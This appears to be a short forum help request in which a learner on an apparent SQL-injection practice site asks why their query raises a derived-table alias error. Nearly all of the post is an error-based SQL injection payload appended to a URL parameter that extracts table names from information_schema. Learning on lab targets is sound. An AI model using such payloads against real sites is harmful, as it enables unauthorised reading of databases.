SQL HELP

What am I doing wrong?

Error message: Every derived table must have its own alias

Code:

http://leettime.net/sqlninja.com/tasks/basic_ch2.php?id=1 and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6c65657474696d655f37363177486f6c65 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1